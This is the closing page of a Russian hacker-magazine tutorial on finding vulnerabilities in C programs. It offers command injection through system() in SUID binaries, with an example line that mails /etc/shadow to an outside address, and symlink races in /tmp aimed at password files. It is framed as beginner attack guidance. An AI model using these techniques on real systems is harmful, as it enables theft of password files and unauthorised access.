Найди дыру в Си-скрипте

Xakep, номер #032, стр. 032-070-5


system (SOME_PROGRAM);

почему бы тогда, если программа SUID'ная, не поменять значение SOME_PROGRAM на "mail me@mail.ru < /etc/shadow"? Совершаем грех без проблем :). В итоге получаем файл с паролями.

Линки

И еще последняя фишка, о которой хотелось бы сказать - symlink'и, или ссылки на файлы. Многие SUID'ные программы создают подобные файлы в /tmp, а /tmp, как известно, доступна на запись всем. Разве будут проблемы с удалением symlink, созданного программой, и заменой его на свой, например, на /etc/master.passwd? Все прокатит без вопросов! И, в очередной раз, у нас появится возможность получить доступ к файлам, которые мы не можем обрабатывать при обычных условиях (правда, рассматриваемая возможность целиком зависит от программы, т.е. каким именно образом происходят отношения с symlink'ами, так что технологией данный вид атаки назвать сложно).

Keep It Simple Stupid

Несмотря на миф о сложности поиска ошибок в си-программах, это не такая уж страшная и тяжелая работа. Совсем необязательно быть видавшим виды гуру, чтобы суметь проанализировать какой-нибудь фтп-сервер, все исходники которого от силы займут килобайт 300-400. Такую работу в состоянии проделать даже начинающий программер. Ведь здесь речь идет ни о глобальном анализе всего и вся: в 90% всех случаев присутствует только поиск стандартных дырявых библиотечных функций, а это уже технология, один раз освоив которую, станешь в ней спецом. Желаю удачи в освоении!

Назад на стр. 032-070-4  Содержание